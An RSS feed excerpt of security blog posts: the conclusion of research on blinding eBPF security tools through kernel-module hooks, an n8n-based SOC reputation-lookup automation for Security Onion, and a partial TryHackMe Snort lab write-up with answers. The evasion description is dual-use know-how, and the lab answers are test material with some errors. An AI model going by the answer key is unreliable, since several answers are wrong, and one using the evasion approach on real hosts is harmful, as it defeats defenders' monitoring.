trusted boot medium or hypervisor snapshot) and analyze offline.</li></ul><h3>Conclusion</h3><p>This research demonstrates that eBPF-based security tools, while powerful, operate under a critical and largely unacknowledged assumption: that kernel-level observability provides complete and trustworthy visibility. In reality, when an attacker achieves kernel-level access through a loaded module, they can systematically blind these tools by intercepting the kernel functions those tools depend on to deliver data to userspace — without touching the eBPF programs themselves, without triggering verifier errors, and without producing any visible anomalies in the security tool’s output. The attack is surgical: only data related to specific processes or ports is suppressed, while the security tool continues to generate telemetry and fire alerts for everything else. Falco, Tracee, GhostScan, and Decloaker were all bypassed simultaneously. The real security win is preventing kernel compromise before it happens — through Secure Boot enforcement, signed modules, and defense-in-depth that does not rely exclusively on host-resident eBPF observability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf9290eb65fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ThreatFlow AI: Automated Security Onion Analysis]]></title>
            <link>https://medium.com/@blackxsec/threatflow-ai-automated-security-onion-analysis-e3ffc6b95795?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3ffc6b95795</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-onion]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 14:11:57 GMT</pubDate>
            <atom:updated>2026-07-10T14:11:57.546Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LaHiv1zwgfAPFTVhCNHkYQ.jpeg" /><figcaption>Security Operations</figcaption></figure><p>Security automation involves using technology to handle security tasks previously done by hand. This speeds up how quickly security operations can respond to threats. By automating these processes from start to finish, it eases the workload for analysts, eliminates repetitive tasks, and shortens the time it takes to resolve issues [2]. Inspired by the work of Wes Lambert [3], we integrated <a href="https://securityonionsolutions.com/">Security Onion</a>, the leader open-source SOC platform, with several workflows made with <a href="https://n8n.io/">n8n</a> but in our use case, we decided to focus exclusively on threat intelligence. We aim to automate, or at least speed up, threat intelligence analysis related to alerts.</p><p>The aim of each workflow is to do a reputation analysis of recurring and fundamental elements in SOC operations:</p><ul><li>IPs</li><li>Hashes</li><li>Domains</li><li>CVEs</li></ul><p>For each element in the list above, we created a workflow and we integrated into the <a href="https://docs.securityonion.net/en/2.4/soc-customization.html#action-menu">Action</a> menu of the <a href="https://docs.securityonion.net/en/2.4/alerts.html">Alerts</a> tab in Security Onion.</p><p>All the workflows are linked together in a main workflow called <strong>Dispatcher</strong>.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*ocMxesyGEeGAGTuu.png" /></figure><p>Dispatcher workflow</p><p>The <strong>Dispatcher workflow</strong> exposes a webhook URL and by checking the query parameters in the URL is able to understand which workflow needs to be executed. We used the following parameters:</p><ul><li>?ip=&lt;ip&gt; =&gt; Calls the <strong>IP workflow</strong></li><li>?domain=&lt;domain&gt; =&gt; Calls the <strong>Domain workflow</strong></li><li>?hash=&lt;hash&gt; =&gt; Calls the <strong>Hash workflow</strong></li><li>?cve=&lt;rule name&gt; =&gt; Calls the <strong>CVE Info workflow</strong></li></ul><p>The <strong>Respond to Webhook</strong> nodes return an HTML report of the analysis. All the workflows are explained in detail in the following sections.</p><h3>Workflow #1 — IP</h3><p>The <strong>IP workflow</strong> is structured as follows. The expected input is an IP address.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*q1EP05xa1sq6gtz1.png" /></figure><p>IP workflow</p><p>This workflow is made of 4 key components:</p><ul><li><strong>Shodan IP Search</strong>: this node searches the IP address in input on <a href="https://www.shodan.io/">Shodan</a> using its API.</li><li><strong>AbuseIPDB IP Search</strong>: this node searched the IP address in input on <a href="https://www.abuseipdb.com/">AbuseIPDB</a> using its API.</li><li><strong>VirusTotal IP Search</strong>: this node searches the IP address in input on <a href="https://www.virustotal.com/gui/home/search">VirusTotal</a> using its API.</li><li><strong>MISP IP Search</strong>: this node searches the IP address in input in the attributes of our in-house <a href="https://www.misp-project.org/">MISP</a> events using its API.</li></ul><p>We chose this combination of components because we believe they can give a complete overview of the reputation of an IP address. Of course, other combinations of services exist. We integrated the MISP search to correlate the IP address with threat intelligence events.</p><p>The workflow then performs a <strong>Field Extraction</strong> for all 4 core nodes. The MISP and Shodan sub-flows are preceded by some <strong>If</strong> controls to handle the cases of missing data. Due to the structure of the JSON output of the MISP API, we chose to extract the necessary fields and aggregate the items in a single one and with the <strong>Prepare MISP HTML</strong> node, we created the HTML needed for the output. We reused and slightly adapted this code also for the <strong>Hash</strong> and <strong>Domain workflows</strong>.</p><pre>const htmlArray = [];<br>for (const item of $input.item.json.misp_data) {<br>  const html = `IP found in &lt;a href=&quot;${item.misp_link}&quot; target=&quot;_blank&quot;&gt;${item.misp_info}&lt;/a&gt;&lt;br&gt;`;<br>    htmlArray.push(html);<br>}<br>const finalHtml = htmlArray.join(&#39;\n&#39;);<br>return { html: finalHtml };</pre><p>All the sub-flows converge in the <strong>Merge </strong>node that combines them and then the <strong>Aggregate</strong> node aggregates all the items in one. This aggregated data is used to generate the HTML output report. Here’s an example using the IP address 103.171.181.117.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*PfXi4h9AFQt_akTM.png" /></figure><p>Example of the output produced by the IP workflow</p><p>We implemented a control on each field through n8n expressions to verify that the desired information was found. The same logic for controlling information was also applied to all other workflows. The report is built with <a href="https://bulma.io/">Bulma</a>.</p><h3>Workflow #2 — Hash</h3><p>The <strong>Hash workflow</strong> is structured as follows. The expected input is a file hash in the format SHA256, SHA1, or MD5.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*pja0T2VqEj6J1z4F.png" /></figure><p>Hash workflow</p><p>This workflow is made of 4 key components:</p><ul><li><strong>VirusTotal Hash Search</strong>: this node searches the file hash in input on <a href="https://www.virustotal.com/gui/home/search">VirusTotal</a> using its API.</li><li><strong>HybridAnalysis Hash Search</strong>: this node searches the file hash in input on <a href="https://www.hybrid-analysis.com/">HybridAnalysis</a> using its API.</li><li><strong>MalwareBazaar Hash Search</strong>: this node searches the file hash in input on <a href="https://bazaar.abuse.ch/">MalwareBazaar</a> using its API.</li><li><strong>MISP IP Search</strong>: this node searches the file hash in input in the attributes of our in-house <a href="https://www.misp-project.org/">MISP</a> events using its API.</li></ul><p>We selected this mix of components as we believe they provide a comprehensive view of the file hash reputation. Naturally, other service combinations are possible. We included the MISP search to link the file hash with threat intelligence events.</p><p>We used the <strong>Keep Original Hash</strong> node to display the file hash in input in the final report.</p><p>The workflow, once the hash searches have been performed, executes a <strong>Field Extraction</strong> for all 4 core nodes. The Hybrid Analysis sub-flow does an aggregation of the output data before extracting the necessary fields, while the MISP sub-flow structure is the same as in the IP workflow. All the sub-flows converge in the <strong>Merge </strong>node that combines them and then the <strong>Aggregate</strong> node aggregates all the items in one. The latter is used as input for the creation of the HTML output report which is based, as in the IP workflow, on a template built with <a href="https://bulma.io/">Bulma</a>. We chose to display the last submission for Hybrid Analysis and the last file hash submitted for MalwareBazaar. This is an example of the HTML report produced using d41969e5c7f59d3ad7a0fa8b5c5f3e64 as input.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*zSL9DLUdHSqSNdhc.png" /></figure><p>Example of the output produced by the Hash workflow</p><h3>Workflow #3 — Domain</h3><p>The <strong>Domain workflow</strong> is structured as follows. The expected input is a domain.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*4v6brgzyPa7N3qh4.png" /></figure><p>Domain workflow</p><p>The workflow is made of 4 key components:</p><ul><li><strong>Shodan Domain Search</strong>: this node searches the input domain on <a href="https://www.shodan.io/">Shodan</a> using the filter hostname using its API.</li><li><strong>VirusTotal Domain Search</strong>: this node searches the input domain on <a href="https://www.virustotal.com/gui/home/search">VirusTotal</a> using its API.</li><li><strong>urlscan Domain Search</strong>: this node searches the input domain on <a href="https://urlscan.io/">urlscan</a> using its API. We filtered the results from the last 30 days.</li><li><strong>MISP Domain Search</strong>: this node searches the input domain in the attributes of our in-house <a href="https://www.misp-project.org/">MISP</a> events using its API.</li></ul><p>We opted for this combination of components because we think they offer a thorough assessment of a domain’s reputation. Other combinations of services are certainly possible. We incorporated the MISP search to correlate the domain with threat intelligence events.</p><p>We decided to use the <strong>Keep Original Domain</strong> node to preserve the original input domain, following the same logic used in the <strong>Hash workflow</strong>.</p><p>Likewise, as in the other workflows, once the API call of each main node is executed, the data gets processed, before getting merged and aggregated and then put in the final HTML Report built with <a href="https://bulma.io/">Bulma</a>. This is an example of the final report using the domain akinasouls.fr as input.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*YWjCPw7bwmcjHPUr.png" /></figure><p>Example of the output produced by the Domain workflow</p><h3>Workflow #4 — CVE Info</h3><p>The <strong>CVE Info workflow</strong> is structured as follows. The expected input is a rule name containing a CVE ID inside.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*SH-jNsVrfXzkhVKC.png" /></figure><p>CVE Info workflow</p><p>The <strong>Extract CVE ID</strong> node deals with the CVE extraction using a regular expression.</p><pre>const out = $input.first();<br>const str = out.json.query.cve;<br>const regex = /\bCVE-\d{4}-\d{4,7}\b/i;<br>const match = str.match(regex);<br>if (match) {<br>  return {&quot;cve&quot;:match[0]};<br>} else {<br>  return {&quot;cve&quot;:&quot;No CVE found&quot;};<br>}</pre><p>The <strong>If</strong> node checks if the regex was able to extract the CVE ID from the rule name. If no CVE ID is extracted, an HTML page saying that no CVE has been found is generated.</p><p>If the CVE ID extraction is successful, we used the <a href="https://vulnerability.circl.lu/">Vulnerability Lookup</a> API to get the CVE details.<strong> </strong>Vulnerability Lookup is a tool built by the Computer Incident Response Center Luxembourg (<a href="https://www.circl.lu/">CIRCL</a>). We trimmed down the result by extracting the most meaningful fields to us. To accomplish that, we used the <strong>Fields Extraction</strong> node.</p><p>This is an example of the final output. As in every workflow, the final report is built with <a href="https://bulma.io/">Bulma</a>. The output shows the details of CVE-2024-37120 related to WordPress Tabs plugin &lt;= 4.0.6 vulnerable to XSS.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*m3kHT18LZCyTwLGk.png" /></figure><p>Example of the output produced by the CVE Info workflow</p><p>In order to integrate the workflows in Security Onion 2.4.90, we customized the Action menu by adding the following code under Administration –&gt; Configuration –&gt; soc –&gt; actions. Change &lt;your-n8n-instance-name&gt; accordingly to your deployment.</p><pre>{&quot;description&quot;:&quot;IP Reputation&quot;,&quot;icon&quot;:&quot;fa-external-link-alt&quot;,&quot;links&quot;:[&quot;https://&lt;your-n8n-instance-name&gt;/webhook/reputation?ip={value}&quot;],&quot;name&quot;:&quot;IP Reputation&quot;,&quot;target&quot;:&quot;_blank&quot;}<br>{&quot;description&quot;:&quot;Domain Reputation&quot;,&quot;icon&quot;:&quot;fa-external-link-alt&quot;,&quot;links&quot;:[&quot;https://&lt;your-n8n-instance-name&gt;/webhook/reputation?domain={value}&quot;],&quot;name&quot;:&quot;Domain Reputation&quot;,&quot;target&quot;:&quot;_blank&quot;}<br>{&quot;description&quot;:&quot;Hash Reputation&quot;,&quot;icon&quot;:&quot;fa-external-link-alt&quot;,&quot;links&quot;:[&quot;https://&lt;your-n8n-instance-name&gt;/webhook/reputation?hash={value}&quot;],&quot;name&quot;:&quot;Hash Reputation&quot;,&quot;target&quot;:&quot;_blank&quot;}<br>{&quot;description&quot;:&quot;CVE Info&quot;,&quot;icon&quot;:&quot;fa-external-link-alt&quot;,&quot;links&quot;:[&quot;https://&lt;your-n8n-instance-name&gt;/webhook/reputation?cve={value}&quot;],&quot;name&quot;:&quot;CVE Info&quot;,&quot;target&quot;:&quot;_blank&quot;}</pre><h3>Conclusion</h3><p>We built several workflows with n8n with the aim to automate, or at least speed up, threat intelligence analysis and then we integrated them into Security Onion. The feedback from the SOC analysts was very positive and they felt improvements in terms of simplicity and speed of analysis. These workflows are meant to be a support for the initial alert triage and they are not meant to replace the analytical skills of a SOC Analyst. We are currently thinking and working to implement other SOC automation because we have seen their value and impact in a SOC.</p><p>We are aware that the workflows lack a strict input validation but being an internal project we felt it was OK to proceed in the way we did.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3ffc6b95795" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Write Up — Snort (NIDS/NIPS)]]></title>
            <link>https://medium.com/@blackxsec/tryhackme-write-up-snort-nids-nips-fd25fbdde549?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd25fbdde549</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 06:34:42 GMT</pubDate>
            <atom:updated>2026-07-10T06:34:42.198Z</atom:updated>
            <content:encoded><![CDATA[<p>Snort Network Intrusion Detection / Prevention System</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/0*RWXsmdm7rHxewtUe.png" /></figure><p><a href="https://www.snort.org/">Snort NIDS/NIPS</a></p><blockquote><strong><em>Room Description</em></strong></blockquote><blockquote><em>“Learn how to use Snort to detect real-time threats, analyse recorded traffic files and identify anomalies.”</em></blockquote><p>Room Link: <a href="https://tryhackme.com/r/room/snort">https://tryhackme.com/r/room/snort</a></p><h3>Introduction</h3><p>In this TryHackMe room, we get to use and interact with Snort, a popular and widely used open-source tool for detecting and preventing network threats. This room allows us to play around with real-time traffic analysis — providing a great way to increase our network security skills and knowledge.</p><h3>Background Information Required</h3><ul><li><strong>Basic Linux Skills</strong>: Familiarity with system navigation and command-line functions.</li><li><strong>Network Fundamentals</strong>: Understanding of ports, protocols, and traffic data.</li></ul><h3>Preparation:</h3><ul><li>Complete the ‘Network Fundamentals’ module <a href="https://tryhackme.com/module/network-fundamentals">here</a>.</li><li>Review Linux Fundamentals <a href="https://tryhackme.com/module/linux-fundamentals">here</a>.</li></ul><h3>Task 1: Introduction</h3><p>Read through then information here taking note that Snort is:</p><ul><li>Open-Source</li><li>Rule-Based</li></ul><blockquote><a href="https://www.snort.org/"><strong><em>The official description</em></strong></a><strong><em>:</em></strong><em> “Snort is the foremost Open Source Intrusion Prevention System (IPS) in the world. Snort IPS uses a series of rules that help define malicious network activity and uses those rules to find packets that match against them and generate alerts for users.”</em></blockquote><p>All that is required for this task is to read, and click <em>“Complete”</em>.</p><h3>Task 2: Interactive Material and VM</h3><p>This task explains how the room will be run. At the top of the window, click the green <em>“Start Machine”</em> button to fire up the room’s virtual machine.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*jQnYrJJIB74rUj97.png" /></figure><p>Here is a summary of the information provided:</p><h3>Folder Setup:</h3><p>On the Desktop, you’ll find a “Task-Exercises” folder with two sub-folders:</p><ul><li><strong>Config-Sample</strong>: Contains sample configuration and rule files for practice; Snort’s actual config files are in /etc/snort.</li><li><strong>Exercise-Files</strong>: Includes separate folders for each task with pcap, log, and rule files.</li></ul><h3>Traffic Generator:</h3><ul><li>The machine is offline, but you can use traffic-generator.sh to create traffic for Snort.</li><li>Run the script with sudo ./traffic-generator.sh.</li><li>Follow the prompts to choose an exercise; the script will open a terminal to show the results.</li><li>Start Snort and let the script complete before stopping the traffic.</li></ul><h3>Question 1:</h3><p>Navigate to the <strong>Task-Exercises folder</strong> and <strong>run the command</strong> ./.easy.sh and write the output.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*jV6T5sw3JOgsCI0O.png" /></figure><p><strong>Answer: </strong><em>Too Easy!</em></p><h3>Task 3: Introduction to IDS/IPS</h3><p>There is a fair bit of information in this task so I have tried to summarise below so stay with me…</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*d3b1BKg2rTr15Rc5.png" /></figure><h3>Intrusion Detection System (IDS):</h3><ul><li><strong>NIDS</strong>: Monitors <strong>network </strong>traffic for threats and generates alerts.</li><li><strong>HIDS</strong>: Monitors traffic on individual <strong>host </strong>devices and generates alerts.</li></ul><h3>Intrusion Prevention System (IPS):</h3><ul><li><strong>NIPS</strong>: Monitors <strong>network </strong>traffic and terminates connections if threats are detected.</li><li><strong>Behaviour-based (NBA)</strong>: Similar to NIPS but requires a training period to learn normal traffic patterns and detect anomalies.</li><li><strong>WIPS</strong>: Monitors and protects wireless network traffic, terminating connections if threats are detected.</li><li><strong>HIPS</strong>: Protects individual devices <strong>(hosts)</strong> by terminating connections if threats are detected.</li></ul><h3>Detection/Prevention Techniques:</h3><ul><li><strong>Signature-Based</strong>: Detects known threats using predefined patterns.</li><li><strong>Behaviour-Based</strong>: Detects new or unknown threats by comparing normal and abnormal behaviours.</li><li><strong>Policy-Based</strong>: Detects violations based on system policies and configurations.</li></ul><h3>Snort Modes:</h3><ul><li><strong>Sniffer Mode</strong>: Captures and displays packets in real-time.</li><li><strong>Packet Logger Mode</strong>: Logs all network packets.</li><li><strong>NIDS/NIPS Modes</strong>: Detects and/or blocks malicious packets based on rules.</li></ul><h3>Now the questions:</h3><p><strong>Question 1: Which Snort mode can help you stop the threats on a local machine?</strong></p><ul><li>NIPS <em>(Network Intrusion Prevention System)</em></li></ul><p><strong>Question 2: Which Snort mode can help you detect threats on a local network?</strong></p><ul><li>NIDS <em>(Network Intrusion Detection System)</em></li></ul><p><strong>Question 3: Which Snort mode can help you detect the threats on a local machine?</strong></p><ul><li>HIDS <em>(Host Intrusion Detection System)</em></li></ul><p><strong>Question 4: Which Snort mode can help you stop the threats on a local network?</strong></p><ul><li>NIPS <em>(Host Intrusion Prevention System)</em></li></ul><p><strong>Question 5: Which Snort mode works similar to NIPS mode?</strong></p><ul><li>NBA <em>(Network Behaviour Analysis)</em></li></ul><p><strong>Question 6: According to the official description of Snort, what kind of NIPS is it?</strong></p><ul><li>Full-blown</li></ul><p><strong>Question 7: NBA training period is also known as …</strong></p><ul><li>Baselining</li></ul><h3>Task 4: First Interaction with Snort</h3><h3>Question 1: Checking Snort Version</h3><ul><li>Use snort -V to check the Snort instance version and build number.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*TXKs7oaiYVASzuAk.png" /></figure><p><strong>Answer: </strong><em>149</em></p><h3>Question 2: Test the current instance with “/etc/snort/snort.conf” file and check how many rules are loaded</h3><ul><li>Use sudo snort -c /etc/snort/snort.conf -T and check the output for the number of rules loaded.</li><li>This command initialises Snort and checks if the configuration file is correctly set up.</li><li>Snort provides a summary of the initialisation process, including the number of rules loaded and the status of plugins.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*K4PTRIl-ElEbjhP0.png" /></figure><p><strong>Answer: </strong><em>4151</em></p><h3>Question 3: Test the current instance with “/etc/snort/snortv2.conf” file and check how many rules are loaded:</h3><ul><li>Use sudo snort -c /etc/snort/snortv2.conf -T to check the rules loaded with this configuration.</li><li>-c: Specifies the configuration file to use.</li><li>-T: Self-tests the Snort configuration to ensure it&#39;s valid.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*dfXqlESTbN9bSq-e.png" /></figure><p><strong>Answer: </strong><em>1</em></p><h3>Task 5: Operation Mode 1: Sniffer Mode</h3><h3>Running Snort in Sniffer Mode</h3><p>Snort, like tcpdump, has several different flags to view different packet data details. Below are the main Sniffer mode parameters:</p><ul><li><strong>-v Verbose</strong>: Displays TCP/IP output in the console.</li><li><strong>-d Payload</strong>: Shows packet data (payload).</li><li><strong>-e Headers</strong>: Displays link-layer headers <em>(TCP/IP/UDP/ICMP)</em>.</li><li><strong>-X Full Packet</strong>: Outputs full packet details in HEX.</li><li><strong>-i Interface</strong>: Specifies a network interface for sniffing.</li></ul><p>To use Snort, you need active traffic on your interface.</p><p>Use the traffic-generator script in the Task-Exercise folder to generate traffic.</p><p><strong>Examples of Use:</strong></p><blockquote><strong><em>Sniff with </em></strong><strong><em>-i</em></strong><em>: </em><em>sudo snort -v -i eth0 (sniffs on interface &quot;eth0&quot;).</em></blockquote><blockquote><strong><em>Sniff with </em></strong><strong><em>-v</em></strong><em>: </em><em>sudo snort -v (starts in verbose mode).</em></blockquote><blockquote><strong><em>Sniff with </em></strong><strong><em>-d</em></strong><em>: </em><em>sudo snort -d (shows packet payload).</em></blockquote><blockquote><strong><em>Sniff with </em></strong><strong><em>-de</em></strong><em>: </em><em>sudo snort -de (displays headers and payload).</em></blockquote><blockquote><strong><em>Sniff with </em></strong><strong><em>-X</em></strong><em>: </em><em>sudo snort -X (full packet details in HEX).clear</em></blockquote><p>There are no questions for this task. Click <em>‘Complete’</em> to continue to the next task once you have played around with the above examples.</p><h3>Task 6: Operation Mode 2: Packet Logger Mode</h3><h3>Packet Logger Mode</h3><p>Snort can be used as a sniffer to log network traffic in its Logger Mode. The logs are stored in a specified directory and in a specific format.</p><ul><li><strong>Default Log Directory:</strong> /var/log/snort</li><li><strong>Log Formats:</strong> Binary (default) and ASCII</li></ul><h3>Options / Switches:</h3><ul><li><strong>-l</strong>: Specifies the directory to store log files. Default is /var/log/snort.</li><li><strong>-K ASCII</strong>: Logs packets in a human-readable ASCII format, organising them by IP address in folders.</li><li><strong>-r</strong>: Reads and analyses the logs in Snort. This can be used to filter specific types of traffic or protocols.</li><li><strong>-n</strong>: Limits the number of packets Snort will process or read.</li></ul><h3>File Ownership Consideration:</h3><ul><li>Logs are generated by the root account when Snort runs with sudo. You&#39;ll need root privileges to read or change the ownership of the log files for access.</li></ul><h3>Question 1:</h3><p>Investigate the traffic with the default configuration file <strong>with ASCII mode.</strong></p><p>sudo snort -dev -K ASCII -l .</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*Ug6UBKvdIFy7YzwH.png" /></figure><ul><li>Navigate to the TASK-6 directory and use the above command to start Snort in packet logger mode.</li><li>Execute the traffic generator script in another terminal, and choose <strong>“TASK-6 Exercise”</strong>.</li><li>Wait until the traffic ends, then stop the Snort instance with (`Ctrl+c`).</li><li>Now analyse the output summary and answer the question.</li></ul><p>sudo ./traffic-generator.sh</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*6OMWq1tWHB56OH-J.png" /></figure><p>Now, you should have the logs in the current directory. Navigate to folder “<strong>145.254.160.237</strong>”. What is the source port used to connect port 53?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*rr28SKz9NJMD74XT.png" /></figure><p><strong>Answer:</strong> <em>3009</em></p><h3>Question 2:</h3><p>Using <strong>snort.log.1640048004</strong>,</p><p>Read the snort.log file with Snort; what is the IP ID of the 10th packet?</p><p>snort -r snort.log.1640048004 -n 10</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*syADUZ9d-mb-a41w.png" /></figure><p><strong>Answer:</strong> <em>49313</em></p><h3>Question 3:</h3><p>Read the “<strong>snort.log.1640048004”</strong> file with Snort; what is the referrer of the 4th packet?</p><p>snort -r snort.log.1640048004 -n 4 -X</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*Rj3wFipstTGff4fY.png" /></figure><p><strong>Answer:</strong> <a href="http://www.ethereal.com/development.html"><em>http://www.ethereal.com/development.html</em></a></p><h3>Question 4:</h3><p>Read the “<strong>snort.log.1640048004” </strong>file with Snort; what is the Ack number of the 8th packet?</p><p>snort -r snort.log.1640048004 -n 8</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*BzGF8DaWjnKlX5Yy.png" /></figure><p><strong>Answer:</strong> <em>0x38AFFFF3</em></p><h3>Question 4:</h3><p>Read the “<strong>snort.log.1640048004”</strong> file with Snort; what is the number of the <strong>“TCP port 80”</strong> packets?</p><ul><li>The task references the Wikipedia entry for the <a href="https://en.wikipedia.org/wiki/Berkeley_Packet_Filter">Berkeley Packet Filter (BPF)</a>. BPF is a feature that allows us to filter packets based on specific criteria.</li><li>By adding &#39;tcp port 80&#39; it will filter traffic by only TCP and Port 80 (HTTP) traffic.</li><li>This is useful for focusing on specific traffic, reducing the amount of data Snort needs to process, and improving performance.</li></ul><p>snort -r snort.log.1640048004 &#39;tcp port 80&#39;</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*lgTFbviNC-853ouK.png" /></figure><p><strong>Answer:</strong> <em>41</em></p><h3>Task 7: Operation Mode 3: IDS/IPS</h3><h3>Snort in IDS/IPS Mode</h3><p>Snort can operate in <strong>IDS (Intrusion Detection System)</strong> or <strong>IPS (Intrusion Prevention System)</strong> modes, using user-defined rules to monitor and manage network traffic.</p><p><strong>Various parameters control its operation:</strong></p><ul><li><strong>-c</strong>: Specifies the configuration file for Snort.</li><li><strong>-T</strong>: Tests the configuration file without starting Snort.</li><li><strong>-N</strong>: Disables logging while keeping other functions active.</li><li><strong>-D</strong>: Runs Snort in background mode, useful for automation.</li><li><strong>-A</strong>: Specifies alert modes:</li><li><strong>full</strong>: Detailed alert information.</li><li><strong>fast</strong>: Summarised alert information (default).</li><li><strong>console</strong>: Alerts displayed on the console.</li><li><strong>cmg</strong>: Alerts with packet details in hex and text formats.</li><li><strong>none</strong>: Disables alerting but still logs traffic.</li></ul><p>Snort uses rules to generate alerts based on network traffic, such as detecting ICMP packets.</p><p>Each mode influences how alerts and logs are handled, with console output and log file formats changing accordingly.</p><p>Understanding these modes and their parameters is crucial for effectively managing network security with Snort.</p><h3>Question 1:</h3><p>Investigate the traffic with the default configuration file.</p><p>sudo snort -c /etc/snort/snort.conf -A full -l .</p><ul><li>Navigate to the TASK-7 directory and use the above command to start Snort.</li><li>Execute the traffic generator script in another terminal, and choose <strong>“TASK-7 Exercise”</strong>.</li><li>Wait until the traffic ends, then stop the Snort instance with (`Ctrl+c`).</li><li>Now analyse the output summary and answer the question.</li></ul><p>sudo ./traffic-generator.sh</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*s0c17xBZl8RI_oYj.png" /></figure><p>What is the number of the detected HTTP GET methods?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*6XElyJhtD0N55hOo.png" /></figure><p><strong>Answer:</strong> <em>2</em></p><h3>Question 2:</h3><p>You can practice the rest of the parameters by using the traffic-generator script.</p><ul><li>Click <em>‘Complete’</em> to continue to the next task once you have played around with the other examples.</li></ul><h3>Task 8: Operation Mode 4: PCAP Investigation</h3><h3>Investigating PCAPs with Snort</h3><p>Snort is a powerful tool that can sniff, log, and detect or prevent threats, but it also has a Packet capture (PCAP) read/investigate mode to analyse PCAP files.</p><p>By processing a PCAP file with Snort, you can receive traffic statistics and alerts based on your ruleset.</p><h3>Key Parameters for PCAP Mode:</h3><ul><li>-r / --pcap-single=: Reads a single PCAP file.</li><li>--pcap-list=&quot;&quot;: Reads multiple PCAPs provided in the command (space-separated).</li><li>--pcap-show: Displays the PCAP name during processing.</li></ul><h3>Investigating PCAPs:</h3><p><strong>Single PCAP:</strong></p><ul><li>Running Snort with the -r parameter and your configuration file will produce alerts if any match your ruleset.</li><li>For example, analysing icmp-test.pcap generates alerts identifying ICMP traffic.</li></ul><p><strong>Multiple PCAPs:</strong></p><ul><li>Using the --pcap-list parameter allows Snort to process multiple PCAP files together, but it may be challenging to match alerts to specific PCAPs.</li><li>Using --pcap-show helps by showing which PCAP is being processed, making it easier to distinguish the source of each alert.</li></ul><h3>Question 1:</h3><p>Investigate the <strong>mx-1.pcap</strong> file with the default configuration file.</p><p>sudo snort -c /etc/snort/snort.conf -A full -l . -r mx-1.pcap</p><p>What is the number of the generated alerts?</p><ul><li>Navigate to the Task 8 Directory and run the above command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*LoryPFl1ohk7_JdC.png" /></figure><p><strong>Answer:</strong> <em>170</em></p><h3>Question 2:</h3><p>Keep reading the output. How many TCP Segments are Queued?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*411LrmSTZtGezm7-.png" /></figure><p><strong>Answer:</strong> <em>18</em></p><h3>Question 3:</h3><p>Keep reading the output. How many “HTTP response headers” were extracted?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*QUNul2J6_3Xbkg6w.png" /></figure><p><strong>Answer:</strong> <em>3</em></p><h3>Question 4:</h3><p>Investigate the <strong>mx-1.pcap</strong> file <strong>with the second</strong> configuration file.</p><p>sudo snort -c /etc/snort/snortv2.conf -A full -l . -r mx-1.pcap</p><p>What is the number of the generated alerts?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*32gWSnnJH9RPq1Rd.png" /></figure><p><strong>Answer: </strong><em>68</em></p><h3>Question 5:</h3><p>Investigate the 